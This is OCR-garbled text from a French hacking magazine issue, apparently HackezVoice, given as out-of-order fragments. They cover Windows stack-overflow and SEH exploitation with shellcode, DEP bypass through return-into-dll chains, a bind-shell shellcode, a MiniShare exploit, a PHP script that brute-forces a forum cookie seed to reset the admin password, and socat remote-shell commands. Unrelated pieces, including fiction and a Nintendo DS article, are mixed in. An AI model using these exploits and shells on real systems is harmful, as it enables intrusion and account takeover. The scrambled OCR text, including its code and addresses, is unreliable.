111. ocalement L id e consiste cr e un heap avec les apis HeapCreate 33 et puis HeapAlloc 34 avec comme pr c demment une s rie de ret into dll puis de retourner dedans Vous allez me dire que la DEP prot ge autant la pile que le tas heap mais l api HeapCreate permet la cr a tion d un tas ex cutable il suffit de lui passez l argu ment HEAP CREATE ENABLE EXECUTE 0x00040000 Si nous r alisons la m me tude que pr c demment nous constatons d j plusieurs probl mes r soudre I ne faut toujours pas perdre de vue que les nullbytes ne peuvent tre copi dans la stack de part l utilisation de la fonction strcpy Nous ne pouvons donc pas nous permettre de constituer notre pile avec des arguments comme 00040000 ou encore la taille du tas L astuce se r sout faire une recherche au niveau des instructions qui vont organiser notre stack avant l appel des apis Afin de facilit ce genre de recherche je vous conseille vivement Immunity Debugger 35 qui est en faite un OllyDbg like il int gre un ensemble d api permettant d interagir avec le debugguer qui permet tent de lancer des recherches sur des instructions ou de fixer des valeurs aux registres Un panel non n gligeable de petites actions pouvant tre utile dans le cadre d une exploitation Voil en ce qui concerne le second contournement peut tre un peu compliqu mettre en place mais cette technique d j t mise en place dans le pass da
112. ommande er ron e dans la console windows une erreur apparaitra l cran Ici encore c est le flux d erreur standard qui a t redirig e vers la sortie cran HackezVoice 1 Octobre 2008 19 HackezVoice 1 Octobre 2008 console windows CMD EX pu 8 r CM LEE L j K Ces redirections en elles m me se feront par le biais de pipes prononcer paille pe l am ricaine Voici une d finition tr s claire que nous fait IvanlefOu sur son blog adresse en fin d article Les pipes sont des objets servant la communication interprocessus de ma ni re bidirectionnelle ils se comportent comme des fichiers c est dire qu on peut crire et lire dedans avec des API comme ReadFile et WriteFile Bon maintenant place au code Pour plus de clart nous allons le d couper en plu sieurs parties Commengons par la fonc tion main Notre programme redirectThis di E Include P e al u d clare les handles pour nos pipes HANDLE hOutputRead hInputRead bt tout Write hInputWrite maint system k SIARTUPINFO si PROCESS INFORMATION pi SECURITY ATTRIBUTES sa DWORD dwket sa bInheritHandle sa lpSecuntyDescniptor 0 sa nLength SECURITY AITRIBUTESy CreatePipe amp hOutputRead amp hOutput Write amp sa 0 CreatePipe amp hInputRead amp hinput Write amp sa 0 ZeroMemory amp s
113. onde le MIT a choisit diffuser l int gralit de ses prestigieux cours sur le web Ainsi sur ce site vous pourrez d couvrir des cours et des exercices dans tout les domaines qui vous passionne astronomie medecine physique math matiques lectronique et bien s r informatique MITOPENCOURSEWARE MASSACHUSETTS INSTITUTE OF TECHNOLOGY SOCAT http www dest unreach org socat Socat est un outil assez puissant qui permet de connec ter quasiment tout sur peu pr t n importe quoi Il peut remplacer avantageusement netcat expect et permet de faire beaucoup plus Il semble n exister que sous Linux et autres UNIX like Comment ca marche Socat fourni deux connexion bidirectionnelles et trans fert les donn es de l une l autre et inversement La force de socat est qu l autre bout de chaque connexion peut se trouver un programme un terminal un fichier ou n importe quoi qui communique via une connexion TCP ou UDP Autrement dit on a un sch ma de connexion qui ressemble Objet A lt gt socat lt gt Objet B Comment on s en sert C est tr s simple Sur la ligne de commande apr s les ventuelles options on met deux adresses Ces UnixGarden adresses vont servir d signer les objets A et B Elles commencent par un mot cl indiquant le type d objet programme fichier etc suivi d un ventuel signe puis de param tres et enfin d options s par es par des virgules V
114. onn e en elle m me n a aucu ne signification si on ne connait pas son codage Notez bien que l on pourrait arriver au m me r sultat avec des cast de pointeurs mais la solution avec les union est beaucoup plus propre HackezVoice 1 Octobre 2008 5 Afin de mieux comprendre comment tout cela marche rien de tel qu un petit programme de test Lien vers source article codage c Voil j esp re que cette notion de codage est plus claire maintenant mais la connaissance passe par l exp rience donc amusez vous avec des read write printf scanf des unions et tous les casts possibles et immaginables c est la meilleure fa on de comprendre 1 http fr wikipedia org wiki Syst9oC39oA8me binaire 2 http fr wikipedia org wiki Compl C3 A9ment_ C3 A0 deux 3 http fr wikipedia org wiki IEEE 754 HackezVoice 1 Octobre 2008 6 EXPLOITATION AVANC E DE D BORDEMENT DE TAMPON pes vNop LtEs LSD Er UNDERSEC Stormy our comprendre les diff rents exercices pratiques figurants dans le dossier vous aurez besoin de ces quelques applications l mentaires et d une bonne dose de courage N an moins en tant qu auteur je pr cise que cet article n a pas pour pr tention de vous fournir des Shellcodes d j finalis s certains sites se chargent de livrer via des scripts de tels ouvrages Le but du dossier est de vous permettre la pleine compr hension des r gles l me
115. ont recours des variables contenant l adresse du forum vis le mail utilis lors de l inscription sur le forum utilis afin d obtenir l adresse mail de l admnistrateur et les identifiants du compte cr pour l occasion sur le forum n c ssaire pour com parer le hash de vos identifiants avec celui g n r auto matiquement en cas de fausse connection dans le but de determiner le cookie seed et la graine du g n ra teur SURL http thehackademy net forum base url SEMAIL test amp thehackademy net your email SLOGIN test SPASS password EE SEE GER FEE ESTE SEE GER HSE SCETUEED SEE HSE SEDCEPUEE EE SUE SED NEUTER ED EE SEE SUED ED SUED ED FEE TUER your login ll your pass On suppose que l adresse du forum cible est celui de thehackademy net videment ce n est qu un exemple et que les identifiants du compte que le hacker a cr sont ceux ci dessus D termination d informations sur l admin et reini tialisation du mot de passe I est n cessaire de r colter certaines informations sur le compte de l administrateur tels que son nom d utili sateur la date de cr ation de son compte ainsi que son adresse mail Dans cette optique le hacker utilise la liste des mem bres du forum qui lui fournira les deux premieres infor mations instantan ment le compte de l administrateur tant le premier inscrit sur le forum
116. ous suivez Quelques exemples Pour simuler un netcat simple en mode serveur Bocat STDIO TCP LISTEN 1337 Pour simuler netcat en mode client socat STDIO TOPIIZT DD 21337 Pour simuler un genre de expect connecter deux pro grammes pour les faire communiquer via leurs entr es sorties standard socat EXEU progA EXEC DprogB Pour avoir un remote shell socat EXEC bin sh stderr I ISTEN 1337 reuseaddr fork Remarquez l option fork qui permet de se connecter plu sieurs fois Pour se connecter au remote shell c est bien mieux d avoir un historique de commandes socat READLINE TCP 127 0 0 1 1337 DC pe Pour en savoir plus RTFM Roorkirs BSD Voil un livre qui offre une bonne approche de l attaque sous BSD A travers l exploration du syst me FreeBSD et de son noyau vous y trouverez les bases de la cor ruption et de la manipulation du syst me ainsi qu une introduction la programmation des modules ROOTKITS BSD LOS s n mm P m k m m m d WU B UE H 75 HackezVoice 1 Octobre 2008 Au Sommaire Modules chargeables dans le noyau Hooking Manipulation directe des objets du noyau Hooking d objets noyau Patch de la m moire du noyau en cours de fonctionne ment Exemple d application D tection Cacher plusieurs fichiers ou r pertoires Rootkits BSD de Joseph Kong aux ditions Campus Press TECHNIQUES DE HACKING Jo
117. pos sur la pile sera le premier tre d sempil Afin de clarifier cela on peut comparer la pile une pile d assiette lorsque que l on empile des assiettes la der ni re empil e sera la premi re tre retir e de la pile Prenons un exemple simple soit le code asm suivant push 1337 push 11223344 push 3 push 4 pop eax Nous pouvons alors esquisser l tat de la pile la fin de ce code comme ci dessous Wed lei Ru DL LAX sa EXH Mere las DEWIER Etat de la pile apr s quelques push pop 25 HackezVoice 1 Octobre 2008 Il existe plusieurs registres utilis s dans le langage asm qui sont aussi tr s important il s agit du registre ESP du registre EBP et enfin du registre EIP Le registre ESP pointe en permanence sur le sommet de la pile le re gistre EBP pointe sur la base de la pile Lorsque nous faisons push 11223344 ESP est donc d cr ment de 4 de sorte pointer sur la derni re donn e empil savoir 11223344 dans notre cas n oublions pas que la pile croit vers les adresses basses En ce qui concerne le registre EIP c est celui qui pointe sur la prochaine ins truction ex cuter A pr sent vous avez les connaissances n cessaires sur la pile afin de continuer lire ce papier EXPLOITATIONS BASIQUES D UN STACK OVERFLOW Le prologue et l pilogue Nous allons donc pouvoir entrer dans le vif du sujet sachez qu
118. pparait Imaginons que nous d bordons de l espace qui nous est allouer on r craserait alors des donn es pr sentes dans la pile tel que la sauvegarde de EIP Si nous r crivons cette sauvegarde lorsqu elle va tre d pil e le registre aura donc une autre valeur c est ainsi que nous contr lerons le flux d ex cution de notre programme Maintenant la faille comprise nous pouvons mettre sur pied quelques exploitations Il vous en est pr sent trois dans la suite du papier Pour exploiter la faille nous uti liserons un shellcode Le registre EIP se doit de pointer sur du code ex cutable le shellcode tant un code ex cutable nous nous arrangerons pour que le registre EIP pointe dessus afin de lancer son ex cution Mais avant cela d finissons un peu ce terme Un shellcode est donc tout simplement une suite de va leurs hexad cimales correspondant aux opcodes des instructions ex cuter Par exemple pour l instruction asm eax eax Nous obtenons les opcodes 31 et CO Le shellcode doit r pondre certaines contraintes cel les ci d pendent souvent du contexte doit entre autre ne pas contenir d octet null 0x00 Tout simple ment parce qu il faut savoir que la fin d une chaine est caract ris e par l octet null la fin de la chaine pour une chaine ASCII Or si la fonction strcpy 9 rencontre l octet null cela signifiera que nous arrivons la fin de la chaine on va alors se retrouvez avec
119. qu on veut appeler Notre plan sera donc le suivant nous allons r crire la pile de fa on faire un premier retour sur LdrpCallInitRoutine qui va appeler le premier bloc d instructions 7 962080 7 962082 BO 01 2 0400 MOV AL 1 RETN 4 Puis faire un dernier retour dans cette m me fonction mais cette fois ci de mani re appeler le second bloc ESP EBP ESP va donc prendre la valeur EBP 4 JC92D3F98 01 AL 1 7C92D3FA 6A 02 PUSH 2 TCSZDSFC 5E POP ESI JOSSDSED 0 84 B72A0200 JE ntdll 7C94FEBA Et enfin pouvoir faire un retour ultime sur une ins truction JMP ESP ce qui nous permettra de lancer l ex cution de notre shellcode contenu sur la pile a pr sent ex cutable Un petit apercu de mon exploitation sur un Win dows XP SP2 fr version familiale le payload utilis est un simple WinExec calc exe 0 qui a t pr c demment r alis LM TE SOT HM xe LA I FH DE H Fam 3 K bypass Exploit Bypass DEP Mrinfo exe E Dsecution Frevent ion Pour hzo par BesrclHk Buesrcl k blao E Calculatrice Edition tre KAES e Les sources et l exploit sont aussi disponible dans l ar chive li e ce papier Return into HeapCreate Allocate Dans cette partie nous allons utiliser le m me type d at taque afin de bypasser la s curit en effet cette fois ci on ne cherche pas d sactiver la DEP ou du moins que l
120. quelles sont ses limites OUTILS PR REQUIS Qu avons nous besoin pour d velopper sur Nintendo DS Et bien d une DS cela va de soit mais aussi d un com posant bien particulier une cartouche de jeu M3 Real ou quivalent Car oui la DS est assez ferm e et il est difficile de faire rentrer une clef usb dans le bazar Alors des gens se sont amus s cr er une carte de jeu au format DS qui pos s de un r ceptacle pour une carte micro SD de 1 ou plus et qui int gre un browser particulier permettant de parcourir le contenu de la carte micro SD et de lancer n importe quel programme Pratique Pour en acqu rir une il vous suffira d aller Rue Montgal let mais ils se planquent ou encore mieux sur no tre cher vieil Internet Le prix est assez modique pas plus cher qu un jeu normal et l avantage c est que vous pourrez par la suite d velopper votre propre adaptation de Final Fantasy X ou pas Une fois en possession de ce pr cieux s same je vous laisse le soin de trouver comment on s en sert sur le net vous connaissez tous google non il suffit d installer DevKitPro 3 sous Windows ou Linux mais je d cline enti rement la responsabilit en cas de non fonctionnement et de configurer deux ou trois variables d environnement obligatoire dans le cas de Linux optionnel sous win dows Ce framework permet de concevoir des fichiers nds qui correspondent un format propri taire de Ninten do
121. r un 0x2 et enfin le dernier argument a pour valeur 4 la taille d un ULONG unsigned long Nous pouvons dor navant modifier no tre code comme cela ULONG flags 0 2 ZwSetInformationProcess HANDLE 1 0x22 8 amp flags 0x4 L attaque utilis e est d crite dans l article 4 extrait du volume 2 de uninformed 30 La technique parait alors extr mement simple car il nous suffit seulement de d poser sur la stack les arguments qu exige notre fonc tion et enfin de r crire la sauvegarde du registe EIP avec l adresse de notre fonction afin d y rediriger le flux d ex cution Seulement les arguments que vous voyez l contien nent des nullbytes cela nous emp che de concevoir un payload sous forme de string ANSI Au lieu de pr parer notre stack manuellement nous allons com manditer plusieurs retours sur des instructions qui vont se charger de constituer notre pile avant l appel ZwSetInformationProcess 29 En premier lieu nous allons faire en sorte de redirig le flot d ex cution du binaire vers l instruction suivante contenus dans ntdil 70962080 7 962082 BO 01 C2 0400 MOV AL 1 RETN 4 La pile devra tre par contre bien structur de sorte que l adresse du prochain retour soit bien d pil e dans le re gistre EIP afin d effectuer un retour sur le bloc d instruc tions suivant qui est en fait l extrait de code permettant de d sactiver la 7C92D3F8 3C 01 CMP AL 1 7C92D3FA 6A 02 PUSH 2
122. r un lien entre un serveur et un client Celui ci comprend les usages de la librairie n cessaire WS2 32 et l utilisation des fonctions diverses comme WSAStartup Listen CloseSocket WaitForSingleOb ject CreateProcess etc Pour notre mod le nous garderons dans une tr s large mesure la m thode afin d obtenir l entr e de la librairie Kernel32 et par l LoadLibraryA Ensuite nous liste rons un ensemble de fonctions appartenant aussi une seconde librairie relative la constitution d un socket soit WS2 32 La routine de recherche par noms de fonc tions par Hash demeure encore dans notre code ainsi que la routine de recherche d adresse soit LGetPro cAddress C est par l usage du pointeur ESP que nous parviendront obtenir les noms par Hash Le seul v ritable probl me que l on pourrait rencontrer r side dans les diff rentes allocations de m moire n cessaires afin de constituer le socket et l ensemble des param tres commun ment nomm es STARTUP INFO PROCESS INFORMATION etc Pour finir le code montre aussi qu il nous faut garder constamment une main en d autres termes Handle sur le socket et le service command soit CMD Volon tairement nous avons largement associ le code une foultitude de commentaires afin d apporter un peu de lumi re dans la n buleuse du propos puiqu il s agit de notre examen final l ensemble des chiffres est rendu en mode hexad cimal Lien ve
123. re arbitraire du programme Or si on examine la pile explos e nous obtenons des informations int ressantes Examinons le rapport MSVC apr s le crash de l application Microsoft Windows 2000 Version 5 00 2195 C Copyright 1995 2000 MUGPOSOTL Corp C Documents and Settings Administrateur gt Test Qu est ce que tu me racontes aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaa rise La chaine poss de pr s de 70 a Le r sultat ne se fait pas attendre L instruction 0x61616161 emploie l adresse m moire 0x61616161 La m moire ne peut pas tre read Voici le rapport de la zone m moire concern e Nous regardons attentivement les diff rents registres de la pile y a d i a IBI as muni m mm En ir Ga dp wie W mw Tu KP LI nm mm He JU GEG g PS pola E 1 TIE EuM pL ss Eat TEE l ma ch 1 Lau Que s est il donc pass lorsque nous avons inscrit no tre texte dans la console C est simple malgr ce des criptif de primes abords complexe Expliquons en d tail le processus d viant Nous avons d bord sur d autres segments au point de venir craser certaines parties de la pile qui contenaient des informations primordiales pour la suite du programme plus exactement le flux des commandes d o le terme
124. re code x cutable savoir notre x Hi aD 1 En INT 3 SAES Fa PP SE KT ad DE oc AD SOS FF DIT e T HHH i A dE CAAWINDOWSVaystem32 calc exe ji x u i 5 io als x M uo NEA EN 4 PG Testons l exploitation un petit screenshot P p X958 Nous avons donc l adresse 003E39EF qui pointe sur notre INT 3 R capitulons un peu nous al lons r crire la sauvegarde du registre EIP afin de sauter directement sur la pile sur celle ci on trouvera notre JMP sur le second argument qui sera alors ex cut Maintenant nous allons cr er notre JMP Pour le cr er il est important de l crire l endroit le JMP ESP sautera afin de ne pas avoir un d calage erron Pour ma part l instruction JMP ESP m emm ne 0022FF70 On ce place donc cet te adresse afin d y poser notre JMP 003E39EF Peut tre vous vous demandez pourquoi je n ai pas moi m me coder mon shellcode Tout simplement parce que je pense que l aspect exploitation est plut t en courageant Je tenterais de vous pr senter le coding de shellcode basique et statique plus loin Mais pour le mo ment exploitons Notre shellcode est bien ex cut notre calc exe apparait Nous avons donc bien contr l le flux d ex cution du programme Kinema Af cu HackezVoice 1 Octobre 2008 28 HackezVoice 1 Octobre 2008 Voil nou
125. rendre comment rediriger les entr es sorties I O de notre programme vers la console windows et vice versa travers l laboration de notre shell distant perso Les codes sont compil s sur une impl mentation windows XP SP2 mais ils marchent aussi sous vista Je pr cise galement que le but de cet article n est pas de programmer un tool furtif Un autre article sera sp cialement consacr aux possibilit s de camouflage et de bypass des protections windows De m me les sockets ne sont pas le th me de cet article et sont cen s es tre maitris es un minimum Dans le cas contraire des liens int ressants pour en com prendre le fonctionnement se trouvent la fin de l article APPLICATION EN LOCAL Bon tout d abord qu est ce qu un flux Pour faire simple lors de leurs ex cutions les program mes utilisent des fichiers sp ciaux pour communiquer c est dire lire et crire des donn es Ces fichiers sp ciaux sont appel s flux et sont au nombre de 3 stdin standard input ou flux d entr standard Ce flux de donn es correspond l entr de donn es utili sateur le plus souvent par le biais du clavier La fonction scanf d finie dans stdio h par exemple lit les flux de donn es en provenance du clavier mais rien n emp che un programme de lire les donn es entrantes d une facon diff rente Il peut par exemple les lire par le biais d un fichier texte via fscanf On dit alors que le programme a redi
126. rig son flux d entr e Remarque En C la biblioth que qui donne acc s ces stdout standard output ou flux de sortie standard entr e sorties se nomme stdio h pour STandarDInput Ce flux correspond tout simplement au r sultat d execu Output tion du programme G n ralement les sorties des programmes se font par l affichage des donn es sur un cran N anmoins de la Nous programmerons tout d abord notre shell en local m me fa on que pour le flux d entr rien n emp che un puis nous le transposerons en remote via les Sockets programme de rediriger ses donn es vers un fichier par Notre but dans un premier temps va donc tre assez exemple au lieu de les afficher sur l cran simple Nous allons rediriger les flux d entr s de notre program me vers la console windows de processus cmd exe puis stderr standard error ou flux d erreur standard nous redirigerons les sorties standards de donn es et Ce dernier flux permet de rediriger les erreurs du pro d erreur de la console windows vers notre programme gramme vers un endroit pr cis Il arrive parfois de voir apparaitre apr s une erreur d execution du programme Nous nommerons notre programme de redirection redi un fichier d erreur la library SDL utilise ce proc d par rectThis exe exemple Voici un bel exemple de redirection du flux d erreur vers Petit sch ma pour y avoir plus clair un fichier De m me si vous tapez une c
127. rs code etude bof2 asm Apr s XORisation 0x99 et compilation le ShellCode se compose de 379 octets et prend une allure complexe N anmoins il se comporte exactement comme on pour rait le souhaiter au mieux Effectivement le port 777 accorde une accession totale au syst me vuln rable Pour vous en convaincre voici notre OPCODE int gr a un code C sous MSVC afin que vous puissiez le tester librement lien vers code etude bof3 c 5 Exercice pratique sur application Win32 Apr s avoir voqu l ensemble de la th orie concernant le sujet il convient d en faire une application avanc e afin d illustrer le danger d une vuln rabilit typique de d bordement de tampon A cet effet l application MiniS hare 1 41 comporte une faille de type Buffer OverFlow Ce programme pratique permet de cr er un serveur Web d une mani re tr s simple usage du port 80 Nous allons tudier et exploiter cette vuln rabilit selon les principes nonc es dans ce dossier Apr s cela nous d velopperons un Exploit afin de simplifier une quelconque exploitation Pour commencer voici un advisory sur le produit MiniShare en question MiniShare is meant to serve anyone who has the need to share files to anyone doesn t have a place to store the files on the web and does not want or simply does not have the skill and possibility to set up and maintain a complete HTTP server software A simple buffer overflow in the link length nothi
128. rs du mod le suivant on comprend bien la m thode bes d REGg44gg4Ee Fk N s LLN E d ed g 4 4 BERGE 4 4 En r sum la fonction GetProcAddress voten of Exported Functions 0829 deci al est la 344 la liste et elle se trouve f AdronsesOcdinalNos de la fonction l adresse 77E90B09 De la m me fa on la sss sss fonction LoadLibraryA est la 486 fonction 32 77 90809 Ordi 344 C156h Wave G tproch drens et elle se situe l adresse 77E9007F AddezTTESDOTF Ordi 486 OLlEBh Home LosdLibraryA Bien s r ces variables diff rent ordinaux et adresses selon les OS et SP mais le principe reste identique Par le nom de fonction on obtient l ordinal de celle ci puis l adresse Pour conclure la table RVA fonctionne ainsi HackezVoice 1 Octobre 2008 12 A Le mod le LSD A pr sent nous pouvons aborder le code ASM afin de d terminer l adresse de nos deux fonctions GetProcAddress et LoadLibraryA Nous commentons la source tr s largement Attachez vous d couvrir les diff rentes progressions d s le pattern MZ afin de comprendre comment nous obtenons les adresses n cessaires pour la suite du d veloppe ment commandes de couleur rouge mov edx fs edx Adresse de PEB dans TEB mov eax edx 0xc PAR ERA mov esl eax Ox1c Initializati d mov eax esi Liste chain e mov edx eax 0x8 Deuxieme cl ment Base Kernel
129. rs encore par la m thode du brute force intelligent en testant un un ces graines pour determiner la bonne c est relativement facile pour un ordinateur Scounection post ields imped amp arrav form sens 1 redirect ari index php reg usernamc SLOGIN req password SPASS Sh curl cur zeropi 5h CURLOPT URL SURL login php actionsin cur setopt 5h CURLOPT RETURNTRANSFER 1 eur setapiiSh CURLCOPT HEADER 1 cur seiopiiSb CURLOPT POST 1 curl setapi Sh CURLOPFT POSTEIELDS Scongecison posi Desk 55 curl exec sh HackezVoice 1 Octobre 2008 55 preg_match Ser Cookie punbb_cookie v s m Sc unserialize urldecode m 1 SHASH LOGGUED 1 echo Hash de votre cookie SHASH_LOGGUED lt br gt lt a SPASS HASHED shal PASS Schars LI T Drute forcage du cookie seed sees for p 0 Sp lt 86400 2 Spi d if Sp 5000 echo Schars Sp 5000 4 lt br gt if stremp HASH LOGGUED md5 substr mdS DATE Sp 8 SPASS HASHEDJ 0 i 5 substr mdS SDATE p 8 break el D termination du nouveau mot de echo lt br gt lt br passe de l administrateur du forum echo Valeure du cookie seed SSEEDI lt br 2 br gt La suite est relativement facile un g n rateur g n re toujours la m me suite de nombres s il est initi
130. rte se mettre en mode touriste_ Mais Demian n en le temps a rendez vous dans moins d une heure avec son contact qu il est cens retrouver au temple blanc Salam molikoum Fayen 3 Bo njour l ami tu n as besoin de rien un e un proto clie ja tout qu il fe faut l bas m me des disques vinyles Qui oui je connais Ami argent mais la j ai besoin de rien choukran ge m Ben HackezVoice 1 Octobre 2008 66 1 eo trouve ou pied vue tard il se trouve G Mee eive Gg face un escalier oire T S du promontor es arrondis par le Temp de pierres aux D d Lang N D termin il commence l ascension de l esp ce de pyramide franchissant tranquillement chacune des hautes marches et se rapprochant d inexorablement du ciel de Rahi n HackezVoice 1 Octobre 2008 67 MEA Bon pas la peine de moisir ici je r cup re es donn es et vite retour Hecaton enfin si les deux EN HackezVoice 1 Octobre 2008 molosses me Wm laissent passer asse entre les deu SEN gt JEUX moines ler CET le moindre geste mp a 505 que ceux ci i aient jadis les soldafs de la Reine Fhan pa omme uckingham Palace gleterre dd 1 d I i L air est glacial Le contraste avec la temp rature ext rieure est si extr me que Demi
131. s curit physique comme dans la s curit informatique il s agit de connaitre le syst me en profondeur pour pouvoir d tourner sa s curit Il est maintenant minuit les conf rences sont termin es place aux challenges On laisse quelques minutes aux participants pour former les quipes et s inscrire Cer tains plut t que de participer aux challenges pr f re ront se faire la main avec les serrures de Cocolitos libre a eux de choisir Une fois les quipes form es on explique aux challen geurs qu il y a deux challenges s par s Celui cr par Nono2357 consiste scanner le r seau bluetooth et se laisser guider L autre challenge est celui d une soci t fictive qui de mande aux challengeurs de s curiser leur site web 2 il s agit donc de pentest test de p n tration On ap prenda par la suite que derri re ce site web se trouve un LAN qu il faut aussi exploiter Les challenges commencent les DJ John et Shimo re prennent du service et vont continuer toute la nuit Seule la SSH Team se lance sur le bluetooth Les scores furent serr s un moment Lorsque l quipe des hams ters b lliqueux semblait dominer pour de bon la SSH Team a enfin valid e le challenge bluetooth rempor tant 300 points d un coup et passant de peu devant les hamsters 4h30 un petit incident technique vient perturber le d roulement du challenge En effet une attaque a rendu inaccessible le serveur se trouvaient l
132. s avons pr sent toutes les informations n cessaires notre exploitation On r cup re la suite hexa d cimale bien sur pour l int grer dans notre exploit E9 7 1B 00 On compl te notre plan d attaque aaaaaaaaaaaaaaaaaaaa xED x1E x95 x7C xE9 x7A 1 Nous constatons bien la pr sence d un null byte seule ment il faut savoir que la fonction strcpy va copier sur la stack le d limiteur de la chaine si nous envoyons alors seulement doctets le dernier sera donc un 0x00 La fonction strcpy copie la chaine point e par src y compris le caract re 0 final dans la cha ne point e par dest Les deux cha nes ne doivent pas se chevau cher La chaine dest doit tre assez grande pour ac cueillir la copie Nous langons un test Nous arrivons bien sur notre INT 3 Une petite remarque aussi il me semble que windows contr le la taille des arguments pass s au programme Pendant ma phase de test certains gros shellcodes voi sin des 300 octets ne passaient pas v rifier Troisi me et derni re exploitation En ce qui concerne la derni re exploitation une chose vraiment simple mais qui n est pas inint ressante mon avis Imaginer une fonction dans votre ex cutable qui n est pas appel lors de son ex cution tentons de l ap peler par le biais de la faille Nous avons donc un plan d attaque quelque peu diff rent qu avant aaaaaaaaaaaaaaaaaaaa re
133. s imnamabon eencernant lulvisaleu bes que es denr es Gami kez licher Elmer eus de teles nlermabens si prever ert peser paler de d be votre ele rem seront pas uhkes Les doncies ne seront ailes que pour tren cha 5a de pls amples pont rout voii ke dires au memes cu oralement du probl me Ce rapport demeuz cma erp Wim uri Cornet Bisu Tristan urne Dare de ones y CCS mie el ne era paz ubl doe an En de Four Cedies hes leche concernent apport d erreur couler retre procedure de collecte de sur notre z p Nous constatons bien que l offset o le programme a plant est 0x45444343 autrement dit EDCB nous avons donc bien r crit la sauvegarde faite d EIP Il nous faut 20 octets pour sortir de notre espace et pour r crire la sauvegarde du registre EBP Nous allons donc proc der de la sorte A x 20 jmp esp shellcode Les A vont permettre de d border de notre buffer Lors que le registre EIP va tre d pil par le biais de l ins truction RETN l argument empil par la fonction appe lante sera toujours pr sent sur la pile et point par le registre ESP En effet lorsque l pilogue ainsi que l ins truction RETN vont tre ex cut s le registre ESP poin tera sur la base de la pile point e par le registre EBP autrement dit le registre ESP d
134. s manque utilisons encore une fois OllyDbg pour rep rer jusqu o sauter ER mg ben ETTITITE Ji CF ME umm m rr jT zl Kay 4 D 1 l 1 1 5753043 R I EN XE BN BC 11 Eere 132 w asa 5 D d BL k x ESP z ERIS I1 rm ELI MP SHURT DUT 3FF AS HORT Compl tons notre plan d attaque final a x24o0ctets Shellcode 58octets a x6octets x90 X90 XEB xBC x9E x10 x40 Nous pouvons d s maintenant r diger un exploit et tes ter l exploitation Data Execution prevention A pr sent nous allons d crire la protection procur par la Data Execution Prevention 23 DEP puis nous nous int resserons son contournement par la suite Celle ci a fait son apparition avec Windows XP et son Service Pack 2 sp2 pr nomm Data Execution Pre vention simplement ce dispositif permet d viter toutes ex cutions d instructions dans des zones de la m moire a l origine non ex cutable la pile et le tas ne sont donc plus ex cutable ou du moins il le seront plus pour long temps Ce dispositif apparait alors comme un grand obstacle a l exploitation car comme vous l avez constat notre payload est tr s souvent situ dans la pile qui est une 36 r gion non ex cutable
135. sible Vous pourrez choisir le type de test XSS que vous voulez effectuer sur le site Failles Aig hilar kaming Nil Xss Assistant HackezVoice 1 Octobre 2008 SOL inject Me GC edel EXE SQL Inject Me 424 4 8 m SOUL npsetlon vulnerabilities representa To rm on rni leds ust TII in good vales f mark wrach ones are De tested hen ethar asr w it wtn Too Attacks Test forms with attacks Test all forms with top attacks Ihese Me ntnis farm question id Juba answer id dit KS FCK Wett URL rot ord Arr eee php re E Grm Len K SE e SQL Inject ME XSS ME Ces deux plug ins pourront aussi nous aider dans notre recherche de failles potentielles Vous les trouverez a l adresse suivante http www securitycompass com exploitme shtml Une fois ces plug ins install s vous pourrez les lancer volont en allant dans outils du menu de firefox Vous obtiendrez une barre d outils gauche de votre fen tre qui vous permettra de tenter des injection SQL ou du XSS HackBar Disponible sur le site des extensions de Mozilla Firefox HackBar peut tre consid r comme un compl ment aux outils pr c dents Elle ajoute de nombreuses fonctions utiles comme l incr mentation d cr
136. ss ul SE handler Par chance nous avons une adresse contenant elle aussi un null byte l crasement des donn es se faisant de gauche vers la droite nous pouvons donc seulement r crire les trois premiers octets de l adresse de tel sorte laisser le null byte dans la stack c est comme cela que nous allons viter le probl me du null byte dans notre adresse agl13FFB4 Soufflez un peu ce n est peut tre pas vident com prendre comme cela donc ce que je vous conseille c est d ouvrir la cible dans OllyDbg et de tester vos propres combines Vous serez comme cela en r el confrontation aux pro bl mes ventuels tel que je l ai t Un petit r sum ne fait pas de mal un plan d attaque suffiera a x 240ctets Shellcode 58octets a x 6octets NOP NOP JMP sur notre shellcode ret sur un ADD ESP 8 RETN Seulement une question doit subsiter celle ci r sultant du fait que le shellcode soit entour de a En effet j ai choisis de d caller le shellcode pour viter sa modi fication sur la pile car si on observe correctement notre fonction nous rencontrons un moment HackezVoice 1 Octobre 2008 00401060 LG 41 0 C745 FC 000000 gt DWORD PTR SS EBP Autrement dit je me suis arrang pour que EBP 4 ne pointe pas sur notre shellcode afin de le garder int gre jusqu son ex cution par le biais de notre lt jump court C est d ailleurs la seule donn e qui nou
137. sseur ne peut pas manipuler un nombre infini de bits il faut donner une taille maximale aux entiers Pour le type int c est 32 bits Si le nombre que l on veut crire fait moins de 32 bits on peut tou jours rajouter des devant Soit 13 gt 00000000 00000000 00000000 00001101 1337 gt 00000000 00000000 00000101 00111001 Mais ce n est pas encore tout fait comme que les en tiers sont rang s en m moire En effet les architectures x86 sont de type little endian ce qui signifie que c est l octet de poids faible celui que l on crirait droite qui est crit en premier en m moire du c t des petites adresses m moire mais les bits de chaque octets ne sont pas invers s eux Soit 13 gt 00001101 00000000 00000000 00000000 1337 gt 00111001 00000101 00000000 00000000 Et c est en effet comme cela que ces nombres seront crits en m moire Pour s en convaincre on peut crire le code C suivant Int a 1337 unsigned char Te E e Ka 90029 Six Sie 02n e 0 e 1 e 2 e 3 y Pour rappel un char fait 8 bits c est pour cela qu il y en a 4 pour faire 32 bits Notez bien que si on avait mis a 0x41424344 l affichage aurait t 44 43 42 41 Et que si la place du format 02 du printf on avait mis 9 oc l affichage aurait t D C B A Si vous voulez en savoir plus propos du codage des entiers en particulier propos des entiers n ga tifs reg
